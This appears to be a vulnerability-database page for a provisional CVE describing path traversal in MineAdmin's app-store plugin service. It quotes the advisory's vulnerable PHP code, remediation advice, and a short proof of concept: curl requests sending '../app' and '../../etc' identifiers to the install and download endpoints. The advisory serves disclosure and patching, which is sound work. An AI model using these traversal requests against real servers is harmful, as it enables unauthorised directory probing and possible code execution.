Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2026-55224— MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall

Quick assessment

Affected
mineadmin mineadmin/mineadmin
Exploitation
Public or AI PoC available; prioritize validation
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall Summary The app-store plugin service concatenates unsanitized user-supplied values directly into file system paths. An attacker can use path traversal sequences (e.g., ) to read, install, or

RESERVED Provisional record — official CVE publication pending
The CVE Program still marks this ID as RESERVED. The information below comes from a reviewed public advisory and may change; it will be replaced automatically when the official CVE record is published. · GitHub Advisory · 2026-08-18
CVSS 8.7 · High

Public Exploits 1

Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2026-55224

Vulnerability Information

Shenlong is analyzing...


Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Source: GitHub Advisory · Provisional
Vulnerability Description
## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall ### Summary The app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands. ### Vulnerable Code **File:** `plugin/mine-admin/app-store/src/Service/Service.php` ```php // Line 32 - download(): path traversal via identifier public function download(array $params): bool { if (empty($params['identifier']) || empty($params['version'])) { $this->throwParamsFail(); } $service = make(AppStoreServiceImpl::class); if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal $result = $service->download($params['identifier'], $params['version']); // ... } return true; } // Line 48 - install(): path traversal + Plugin::install() with raw identifier public function install(array $params): bool { // ... $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal if (file_exists($path . '/install.lock')) { $this->throwAppInstalled(); } Plugin::install($params['identifier']); // May run composer commands with traversal path return true; } // Line 70 - unInstall(): same pattern public function unInstall(array $params): bool { // ... $path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal Plugin::uninstall($params['identifier']); // Arbitrary uninstall return true; } ``` **File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26) ```php #[Controller(prefix: 'admin/plugin/store')] #[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)] // Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340) ``` ### Proof of Concept ```bash # Install a "plugin" from a traversed path, potentially triggering composer on # arbitrary directories curl -X POST "http://localhost:9501/admin/plugin/store/install" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../app", "version": "1.0.0"}' # This resolves to BASE_PATH/plugin/../app = BASE_PATH/app # Plugin::install("../app") processes the application directory as a plugin # Check if arbitrary path exists: curl -X POST "http://localhost:9501/admin/plugin/store/download" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../../etc", "version": "1.0.0"}' ``` ### Impact - Path traversal enables reading directory existence outside the plugin directory - `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories - Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this - Could lead to arbitrary code execution depending on `Plugin::install()` implementation ### Remediation Validate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\n\n---\n\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Source: GitHub Advisory · Provisional
CVSS Information
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Source: GitHub Advisory · Provisional
Vulnerability Type
对路径名的限制不恰当(路径遍历)
Source: GitHub Advisory · Provisional

Affected Products

Vendor Product Affected Versions CPE Subscribe
mineadmin mineadmin/mineadmin < 3.2.0-alpha.2 ~ 3.2.0-alpha.2 -

II. Public POCs for CVE-2026-55224

# POC Description Source Link Shenlong Link
1 MineAdmin versions before 3.2.0-alpha.2 contain a path traversal vulnerability in the app-store plugin service. The identifier parameter is concatenated into filesystem paths without sanitization. https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-55224.yaml POC Details
AI POC generation is disabled until the official CVE record is published. Public PoC references remain available above.

III. Intelligence Information for CVE-2026-55224

请登录查看更多情报信息。

IV. Related Vulnerabilities

V. Comments for CVE-2026-55224

No comments yet


Leave a comment